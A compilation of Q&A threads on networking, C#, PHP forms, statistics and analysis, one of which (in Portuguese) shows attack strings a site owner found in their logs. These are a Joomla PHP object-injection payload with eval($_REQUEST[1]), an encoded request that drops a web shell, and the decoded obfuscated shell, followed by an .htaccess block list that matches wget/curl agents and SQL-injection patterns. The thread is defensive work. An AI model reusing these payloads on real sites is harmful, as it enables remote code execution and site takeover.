Can I have more than two routers in the same HSRP group?

Question: I want to know if it is possible to do HSRP with 3 or more routers.
Answer: Yes, it is perfectly possible. From Cisco's HSRP documentation:

HSRP allows two or more
  HSRP-configured routers to use the MAC
  address and IP network address of a
  virtual router.

It works really the same as two, except instead of 1 in two holding the virtual ip, 1 in 3 will hold the virtual IP.  By setting priorities,  you can set preferences as to which will have it when all three are up, or if only two are up.


Packages are not installed in proxmox 6.1 virtualbox

Question: Hello everybody ! I installed proxmox in a virtual machine (VirtualBox 6.1), and every time I try to install packages the debian or ceph knocks out the following errors:
It`s when l install ceph:
<code> W: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease  Temporary failure resolving 'ftp.debian.org'
W: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease  Temporary failure resolving 'ftp.debian.org'
W: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease  Temporary failure resolving 'security.debian.org'
W: Failed to fetch http://download.proxmox.com/debian/ceph-nautilus/dists/buster/InRelease  Temporary failure resolving 'download.proxmox.com'
W: Failed to fetch https://enterprise.proxmox.com/debian/pve/dists/buster/InRelease  Temporary failure resolving 'enterprise.proxmox.com'
W: Some index files failed to download. They have been ignored, or old ones used instead.
start installation
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package ceph is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  ceph-common
Package ceph-mds is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
E: Package 'ceph' has no installation candidate
E: Package 'ceph-mds' has no installation candidate
apt failed during ceph installation (25600)
</code>
It`s when l update system:
<code>root@pve:~# apt-get update
Err:1 https://enterprise.proxmox.com/debian/pve buster InRelease
  Temporary failure resolving 'enterprise.proxmox.com'
Err:2 http://ftp.debian.org/debian buster InRelease
  Temporary failure resolving 'ftp.debian.org'
Err:3 http://security.debian.org buster/updates InRelease
  Temporary failure resolving 'security.debian.org'
Err:4 http://download.proxmox.com/debian/ceph-nautilus buster InRelease
  Temporary failure resolving 'download.proxmox.com'
Err:5 http://ftp.debian.org/debian buster-updates InRelease
  Temporary failure resolving 'ftp.debian.org'
Reading package lists... Done
W: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease  Temporary failure resolving 'ftp.debian.org'
W: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease  Temporary failure resolving 'ftp.debian.org'
W: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease  Temporary failure resolving 'security.debian.org'
W: Failed to fetch http://download.proxmox.com/debian/ceph-nautilus/dists/buster/InRelease  Temporary failure resolving 'download.proxmox.com'
W: Failed to fetch https://enterprise.proxmox.com/debian/pve/dists/buster/InRelease  Temporary failure resolving 'enterprise.proxmox.com'
W: Some index files failed to download. They have been ignored, or old ones used instead.
</code>
If anyone knows how to solve this I will be very grateful for your help! Thanks.
Answer: you don't have a  proper network connection settings from that VM  (nat , bridge, gateway ? ), or name resolution inside (resolv.conf) ?


Descobrir se é par ou ímpar em array

Question: Estou tentando definir os números pares e ímpares de um total de 5 números informados pelo usuário em um vetor.
        int[] atividade = new int[6];
        for (int i = 1; i < 6; i++)
        {
            Console.WriteLine("Insira o " + i + "° numero: ");
            atividade[i] = Int32.Parse(Console.ReadLine());
        }
        Console.WriteLine("Os seguintes numeros foram digitados: ");

        foreach (int i in atividade)

Answer: Você pode utilizar o % 2 (MOD) para fazer esta verificação, caso retorne resto 1, é impar, caso contrario, é par. Também melhorei um pouco seu código atual:
using System;
using static System.Console;

public class Test
{
    public static void Main()
    {
        int[] atividade = new int[6];
        string numeros = "", tipo = "";
        for (int i = 1; i < 6; i++)
        {
            WriteLine($"Insira o {i}° numero: ");
            atividade[i] = int.Parse(Console.ReadLine());
            tipo += atividade[i] % 2 == 1 ? "impar, " : "par, ";
            numeros += atividade[i] + ", ";
        }
        Clear();
        Write($"Os seguintes numeros foram digitados: \n{numeros}\n{tipo}");
    }
}

Veja funcionando no Ideone.
Answer: Em um código otimizado e moderno, já que está aprendendo, acho interessante saber como realmente se faz, eu poderia fazer mais simples, mas não aprenderá técnicas comuns no dia a dia.
Um erro no seu algoritmo é confiar na entrada de dados. Se a pessoa digitar algo inválido seu programa quebrará. Assim usei o método correto e verifiquei se o que foi digitado é válido. Se não for ele pedirá o número de novo sem incrementar a variável de controle do array.
Criei o array com tamanho 5 que foi o que deseja. arrays começam em 0 e terminam sempre no seu tamanho menos um, já que o 0 é um item. Imagino que tenha criado com 6 porque estava dando erro no último item. Não comece pelo 1, isto desperdiça um item e é fora de padrão, você pode até saber o que fazer, mas outros programadores e não saberão e quando for interagir com arrays de outros componentes haverá uma impedância entre eles e terá que fazer ajustes, isto se perceber que há um bug no código, pode passar batido.
Também usei uma constante, assim se quiser mudar o número de itens só precisa mudar em um lugar. Veja sobre O que são "Números Mágicos"?.
using static System.Console;

public class Test {
    public static void Main() {
        const int tamanho = 5;
        var atividade = new int[tamanho];
        var i = 0;
        while (i < tamanho) {
            WriteLine($"Insira o {i}° numero: ");
            if (int.TryParse(ReadLine(), out atividade[i])) i++;
        }
        WriteLine("Os seguintes numeros foram digitados: ");
        foreach (var item in atividade) WriteLine($"{item} é {((item & 1) == 0 ? "par" : "impar")}");
    }
}

Veja funcionando no ideone. E no .NET Fiddle. Também coloquei no GitHub para referência futura.
Veja Diferenças entre Parse() vs TryParse().

Descobrir se é par ou ímpar em array


If $x_n \to x$ in Hilbert space, does $|x_n| \leq C|x|$?

Question: If $x_n \to x$ in a Hilbert space $X$, is it true that $|x_n| \leq C|x|$ for all $n$ for some constant $C$?
It is true for $n$ big enough. But not sure about all $n$.
Comment: @ Vishal: Unless $x=0.$
Comment: Also, given $C > 1$, there is always a $n_{0}$ such that $|x_{n}| \leq C|x|$ for all $n \geq n_{0}$.
Comment: The result fails for $x=0$.
Comment: @Vishal: You mean given $C > 1$ right?
Comment: Take $C = \frac{1}{2}$ and take $x_n = 1 + \frac{1}{n}$ in $\mathbb R$.
Comment: You can always choose a $C$ such that this happens for all $n$.
Comment: Yeah. One needs to exclude the case $x = 0$.
Comment: @Jim Sorry, I realised and removed my comment and that made your comment dangling.
Answer: This need not be true for any $n$, just take a sequence of nonzero $x_n$ such that $x_n \to 0$.  But that's basically the only way it can fail, if $x \neq 0$ then such a $C$ exists.  If you are already convinced that it exists for large enough $n$, i.e., for all $n \geq N$, then observe that there are only finitely many $n$ $(1, 2, \ldots, N-1)$ for which this $C$ might not work.  So choose the largest and increase $C$ as needed.
Answer: Lets answer in detail.
Since $x_{n} \to x$, for every neighbourhood $U$ of $x$, there exists a $m$ such that $m \geq n$ implies that $x_{n} \in U$.
Let $U$ be the ball around $x$ of radius $|x|$ (if $x \neq 0$). Then this implies that $|x_{n}| \leq 2|x|$ and now use the idea suggested by Jim to choose a $C$ that works for all $n$.
If $x = 0$, Jim gives a counterexample.


Confidence interval for a set of means with no standard errors

Question: Is it possible to construct a confidence interval for a set of means, from samples with equal numbers of observations, if the standard errors of those samples are unknown?
Comment: You construct a CI for an unknown (population) quantity, not a set of observations (including observed means). Can you clarify whether you want a CI or some other kind of interval (such as a tolerance interval say), and if you want a CI, what it's intended to be an interval for?
Answer: If you assume that the standard deviations of the underlying populations the samples are drawn from are the same* then you could compute a CI for an underlying common mean.
* (as they would be if they were in reality a single population that it would make sense to compute a CI for the mean of).
That is, if you have $g$ samples each of size $n$, from which you observe $y_i = \bar{x}_i, i=1,2,...,g$, then the standard deviation of the $y$'s is a sensible estimate of $\sigma_\bar{X} = \sigma_x/\sqrt{n}$.
In particular if $X_{ij}\sim N(\mu,\sigma^2)$ then you can directly construct a CI for $\mu$ from the $\bar{x}_i$ values; if you don't assume normality for the common distribution of the $X$'s but the $n$'s are "large enough" then you can still construct an approximate CI for $\mu$ based off the $t$-distribution - even if $g$ is small - because the distribution of the $\bar{X}$'s should be close to normal.
On the other hand, if $n$ is small but $g$ is large then you can use a different argument to construct an asymptotically normal CI for $\mu$.
Comment: Great answer, this is exactly what I needed to know, thank you.

Yes, I am assuming the underlying population is the same. I would like to make two clarifications if you don't mind: Following your equation, when estimating the standard deviation of all means, is **_n_** the total number of observations in all samples or is it the number of observations in each individual sample? And, in the numerator, this is the single standard deviation derived from all of the means together, correct?
Comment: The opening sentence of my third paragraph answers your first question ("if you have $g$ samples *each of size* $n$"). Yes, by "standard deviations of the $y$'s" I mean "consider the means like a sample and compute a standard deviation from them*, to act directly as an estimate $\sigma/\sqrt{n}$ for the original data.


Gerar JSON a partir de um form com nomes iguais

Question: Tenho a seguinte lista de inputs em um form:

Como pode se notar, cada linha tem inputs com name estático('idrequisicao', 'idmaterial', etc)
<form method='POST' id='envia_dados' action='teste_post.php'>";

    foreach ($json as $key => $value) {
        $qtd_format = number_format($value->quantidade, 3, '.', '');

        echo "

                <input type=          'text'
                            name=         'idrequisicao'
                            class=        'idrequisicao'
                            readonly=     'readonly'
                            tabindex=     '-1'
                            value=        '$value->item'>

                <input type=          'text'
                            name=         'idmaterial'
                            class=        'idmaterial'
                            readonly=     'readonly'
                            tabindex=     '-1'
                            value=        '$value->idmaterial'>

                <input type=          'text'
                            name=         'descmaterial'
                            class=        'descmaterial'
                            readonly=     'readonly'
                            tabindex=     '-1'
                            value=        '$value->descmaterial'>

                <input type=          'text'
                            name=         'quantidade'
                            class=        'quantidade'
                            id=           'quantidade-$n'
                            readonly=     'readonly'
                            tabindex=     '-1'
                            value=        '$qtd_format'>

                <input type=          'number'
                            step=         '0.0001'
                            placeholder=  '0,0000'
                            name=         'valunit'
                            class=        'valores'
                            id_registro=  '$n'
                            tabindex=     '1'>

                <input type=          'number'
                            step=         '0.01'
                            placeholder=  '0,00'
                            min=          '0'
                            max=          '100'
                            name=         'icms'
                            class=        'icms'
                            id=           'icms$n'
                            id_registro=  '$n'
                            tabindex=     '1'>

                <input type=          'number'
                            step=         '0.01'
                            placeholder=  '0,00'
                            min=          '0'
                            max=          '100'
                            name=         'ipi'
                            class=        'ipi'
                            id=           'ipi$n'
                            id_registro=  '$n'
                            tabindex=     '1'>

                <input type=          'text'
                            name=         'total'
                            class=        'total'
                            id=           'total-$n'
                            tabindex=     '-1'
                            readonly=     'readonly'>

                    <textarea
                        name=             'observacao'
                        class=            'observacao'
                        id=               'text_observacao$n'
                        id_registro=      '$n'
                        tabindex=         '-1'
                        placeholder=      'Digite aqui a sua observação...'></textarea>

        ";
        $n += 1;
    }
    echo "
";

Gostaria de gerar um arquivo JSON, para que possa ser aberto nesta mesma tela mas quando envio todos estes parametros no form, só consigo obeter a ultima linha:

Utilizando o seginte código para visualizar este conteúdo:
<?php
$n = 0;
$m = 0;

foreach($_POST as $query_string_variable => $value) {
    if ($n == $m + 9) {
        echo "-------------------------------------
";
        $m += 9;
    }

    echo "$query_string_variable  = $value
";

    $n++;
}
?>

Tentei gerar desta maneira:
$dados = $_POST;
$dados_json = json_encode($dados, JSON_UNESCAPED_UNICODE);
$path = "_js/_json/_requisicoes/";
$diretorio = dir($path);
$encontrado = 0;
while ($arquivo = $diretorio -> read()) {
    if ($idreq["id_req"] . "_r" . ".json" == $arquivo)  {
        $encontrado = 1;
    }
    //echo $arquivo;
}
if ($encontrado == 1) {
    echo "

O arquivo já existe!

l";
} else {
    $diretorio -> close();
    $fp = fopen("_js/_json/_requisicoes/" . $idreq["id_req"] . "_r" . ".json", "a");
    $jswrite = fwrite($fp, $dados_json);
    fclose($fp);
}

Mas continua gerando o json com apenas a ultima linha:
    {"idrequisicao":"026","idmaterial":"00.000.0057","descmaterial":"Material teste
 58","quantidade":"921.995","valunit":"8","icms":"8","ipi":"8","total":"","observacao":""}

Estou tentando obter um json igual a este:
[{"item":"001","idmaterial":"00.000.0011","descmaterial":"Material teste
 17","quantidade":"1500"},
{"item":"002","idmaterial":"00.000.0042","descmaterial":"Material teste
20","quantidade":"650.620"},
{"item":"003","idmaterial":"00.000.0039","descmaterial":"Material teste
31","quantidade":"500.969"}]

Se alguém puder dar alguma luz. Obrigaduuu!
Answer: Transforme os names para o formato de array, o total por exemplo ficaria assim: total[]. Assim você terá todos os dados no post.
Comment: Sucesso, deu certo. Muito obrigado!
Answer: Transformando o que há de nome para array facilita e assim terá todas as informações necessárias.
Comment: Obrigado pela resposta!


A positive function with a certain property

Question: Does there exist a function $f: \mathbb R \to (0,\infty) $ such that $f(x)/f(y) \le |x-y| , \forall x \in \mathbb R \setminus \mathbb Q , \forall  y\in \mathbb Q$ ?
Comment: [A related (but different) question](http://math.stackexchange.com/questions/1694434/is-there-a-positive-function-f-on-real-line-such-that-fxfy-lex-y-fora)
Answer: No, by Baire category theorem $f$ must vanish on a dense set.
Let $q_n$ be an enumeration of the rationals and set $M_n=f(q_n)>0$.
Define for $m\geq 1$:
$$ V_{n,m}= \{ x : M_n |x-q_n|<1/m\}$$
which is an open neighborhood of $q_n$. Then $U_m = \bigcup_n V_{n,m}$ is open and dense in ${\Bbb R}$. The function $f$ must satisfy $f(x)< 1/m$ on $U_m\setminus {\Bbb Q}$.
The intersection $$S=\left(\bigcap_{m\geq 1} U_m\right) \cap \left(\bigcap_{n\geq 1} {\Bbb R}\setminus\{q_n\} \right)$$ is dense by Baire and the function $f$ must vanish on $S$.
Comment: why is  $U_m$ dense ?
Comment: It is open and contains all the rationnals.
Answer: Let $(M,d)$ be a metric space , let $Y \subseteq M$ and $X:=M \setminus Y$ . If there exist a function $f:M \to (0,\infty)$ such that $f(x)/f(y)\le d(x,y) , \forall x\in X , y\in Y$ , then $X$ is a $F_{\sigma}$ set in $M$ .
Proof : For every $n \in \mathbb N$ , let $X_n:=\{x \in X | f(x) \ge 1/n\}$ .
We first claim that $\overline X_n \subseteq X , \forall n \in \mathbb N$ . If not , then $\exists m\in \mathbb N$ and some $y \in \overline X_m \setminus X$ ; as $y \notin X$ , so $y \in Y$ . Also , as $y \in \overline X_m$ , there is a sequence $\{x_k\}_{k \ge 1}$ in $X_m$ such that $x_k \to y$ ; whence $x_k \in X$ and $f(x_k) \ge 1/m , \forall k \ge 1 $ . Thus $0< \dfrac 1{mf(y)} \le f(x_k)/f(y) \le d(x_k,y) , \forall k \ge 1$ , where $x_k \to y$ as $k \to \infty $ , hence by Squeeze Principle , $\dfrac 1{mf(y)}=0$ i.e. $f(y)=0$ , contradicting $f(M) \subseteq (0, \infty)$ .
Thus   $\overline X_n \subseteq X , \forall n \in \mathbb N$ .
Now as $f(M) \subseteq (0, \infty)$ , so for every $x \in M , \exists  n\in \mathbb N$ such that $1/n \le f(x)$ ; hence
$M=\cup_{n \in \mathbb N} \{x \in M | f(x) \ge 1/n\}$ ; so $X=\cup_{n \in \mathbb N} X_n \subseteq \cup_{n \in \mathbb N} \overline X_n =X$ , thus
$X=\cup_{n \in \mathbb N} \overline X_n$ is a countable union of closed sets in $M$ i.e. a $F_{\sigma}$ set in $M$ .
<code>                                                                 QED
</code>
Now if $M$ is a  complete metric space without any isolated point and with a countable dense subset $Y$ then by Baire Category theorem , $X:=M \setminus Y$ cannot be a $F_{\sigma}$ set ; hence for such $M$ and $X$ , a function satisfying the above properties cannot exist ; so in particular for $M=\mathbb R$ with usual Euclidean metric and $Y=\mathbb Q$ , such a function cannot exist .


Encontrei isso em meus logs de errors, uma tentativa de hack?

Question:
Encontrei isso em meus logs de erros e pesquisa de segurança, ainda
  vou estudar, mas quem sabe alguém já viu?

1 tentativa
Os códigos foram capturados a partir de uma conexão e pegos na GLOBAL $_SERVER do PHP com os valores nos índices HTTP_USER_AGENT e HTTP_REFERER :
o código a seguir foi recebido como user-agent:
<code>}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}?
</code>
o código a seguir foi recebido como user-referer:
<code>/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
</code>
ip: 22.214.171.124
126.96.36.199 UA  Sevastopol,
Sebastopol City,
Ukraine,
Europe  90022   44.5888,
33.5224 500 Scientific-Industrial Enterprise Myst LLC   Scientific-Industrial Enterprise Myst LLC   sevstar.net

2 tentativa agora a pouco
o código a seguir foi recebido como user-referer:
<code>/?fbclid=IwAR3x4bqG8uS4DfqYdfahS2CSxkAoWFuEn2kmUlysYXaeV7tx77x1Ip4zglo
</code>
ip: 220.127.116.11
184.108.40.206    US  United States,
North America       37.751,
-97.822 1000    Facebook Ireland Ltd    Facebook

3 tentativa agora as 21:48
o código a seguir foi recebido como user-referer:
<code>__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?
</code>
o código a seguir foi recebido como user-referer:
<code>/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD8kX3VVPWNocig5OSkuY2hyKDEwNCkuY2hyKDExNCk7JF9jQz0kX3VVKDEwMSkuJF91VSgxMTgpLiRfdVUoOTcpLiRfdVUoMTA4KS4kX3VVKDQwKS4kX3VVKDM2KS4kX3VVKDk1KS4kX3VVKDgwKS4kX3VVKDc5KS4kX3VVKDgzKS4kX3VVKDg0KS4kX3VVKDkxKS4kX3VVKDQ5KS4kX3VVKDkzKS4kX3VVKDQxKS4kX3VVKDU5KTskX2ZGPSRfdVUoOTkpLiRfdVUoMTE0KS4kX3VVKDEwMSkuJF91VSg5NykuJF91VSgxMTYpLiRfdVUoMTAxKS4kX3VVKDk1KS4kX3VVKDEwMikuJF91VSgxMTcpLiRfdVUoMTEwKS4kX3VVKDk5KS4kX3VVKDExNikuJF91VSgxMDUpLiRfdVUoMTExKS4kX3VVKDExMCk7JF89JF9mRigiIiwkX2NDKTtAJF8oKTs/Pg%3D%3D%27%29%29%3Becho%20%27%7C%3C-%27%3B
</code>
Decifrando o valor vindo em BASE64 o resultado é o seguinte:
<code><?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
</code>

Não faço a minima ideia do que esse script php acima faz!

ip: 126.96.36.199
220.127.116.11    US  North Bergen,
New Jersey,
United States,
North America   07047   40.793,
-74.0247    1000    Digital Ocean   Digital Ocean       501

Não irei bloquear o ip por motivos de pesquisa...

Qual seria as melhores providencias a tomar para esses ips?

Pela pesquisa que fiz esse ataque funciona nas plataformas que usam
  Joomla, fica dica pra quem usa!

Por favor ajudem a manter a internet um local seguro! =D
Comment: Ess IP atualmente é da cidade de Sevastopol na Ukraine, então provavelmente sim. Imagnino que não tenha muitos usuários acessando sua aplicação da europa
Comment: Assumindo que você tem htaccess habilitado em sua hospedagem, poderia fazer um filtro de user-agents e sqlmap também, assim não protege 100% mas evita muitos outros problemas com desocupados.
Comment: Esse *ip*  `220.127.116.11` é de um proxy anonimo `22.214.171.124, 61746, UA, Ukraine, Socks4, Anonymous, Yes, 1 minute ago`.
Comment: @Costamilam isso, eu fiz uma pesquisa de geoip para identificar e salvei os dados para tomar as providencias necessárias.
Comment: @EliseuB. Eu tenho filtro e .htaccess sim, filtro sql e uma checagem de char por char, acredito que ele terá que tentar muito ainda e o sistema ta em teste, deve ser boot.
Comment: @AugustoVasques boa mano, não sabia, então não adianta bloquear, é isso?
Comment: Descobri algumas coisas desse cracker, email@example.com, neste link com mesmo attack feito aqui.. https://security.stackexchange.com/questions/117433/i-think-my-site-was-hacked-can-someone-explain-the-get-http-1-0-garbage-in, tenta carregar 4 arquivos a parti deste link tambem, pastebin.com/raw/vdU1gPBk... tinha que prender uma cara desse =D
Answer: Como não é possível publicar isso no comentário, segue uma lista de htaccess que talvez possa agregar algo para sua serventia.
<code>##### Block directory browsing  -- END
##########################################
##### Redirect Linux Programs/Commands Used By Hackers and Spammers To Honeypot -- START
RewriteCond %{REQUEST_URI} !honeypot.php/
RewriteCond %{HTTP_USER_AGENT} ^.*Wget* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*curl* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*apache* [NC]
RewriteRule ^(.*)$ /honeypot.php/ [NC,L]
##### Redirect Linux Programs/Commands Used By Hackers and Spammers To Honeypot -- END
##########################################
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
############################################################################
############################## CACHE DE ARQUIVOS
#Força a utilizar Cache-Control e Expires header
########## Begin - File injection protection, by SigSiu.net
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule .* - [F]
########## End - File injection protection
########## Begin - Basic antispam Filter, by SigSiu.net
## I removed some common words, tweak to your liking
## This code uses PCRE and works only with Apache 2.x.
## This code will NOT work with Apache 1.x servers.
RewriteCond %{QUERY_STRING} \b(ambien|blue\spill|cialis|cocaine|ejaculation|erectile)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(erections|hoodia|huronriveracres|impotence|levitra|libido)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)\b [NC]
## Note: The final RewriteCond must NOT use the [OR] flag.
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule .* - [F]
## Note: The previous lines are a "compressed" version
## of the filters. You can add your own filters as:
## RewriteCond %{QUERY_STRING} \bbadword\b [NC,OR]
## where "badword" is the word you want to exclude.
########## End - Basic antispam Filter, by SigSiu.net
########## Begin - Advanced server protection - query strings, referrer and config
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos
## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule .* - [F]
## SQLi first line of defense, thanks to Radek Suski (SigSiu.net) @
## http://www.sigsiu.net/presentations/fortifying_your_joomla_website.html
## May cause problems on legitimate requests
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC]
RewriteCond %{REQUEST_URI} !^/[0-9]+\..+\.cpaneldcv$
RewriteCond %{REQUEST_URI} !^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Comodo\ DCV)?$
RewriteRule .* - [F]
########## Block bad user agents
## The following list may include bots that no longer exist or are not a problem
## for your site. The list will always be incomplete and it is therefore wise to
## follow discussions on one of the many "security" mailing lists or on a forum
## such as http://www.webmasterworld.com/search_engine_spiders/
## It is also unwise to rely on this list as your ONLY security mechanism.
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:email@example.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
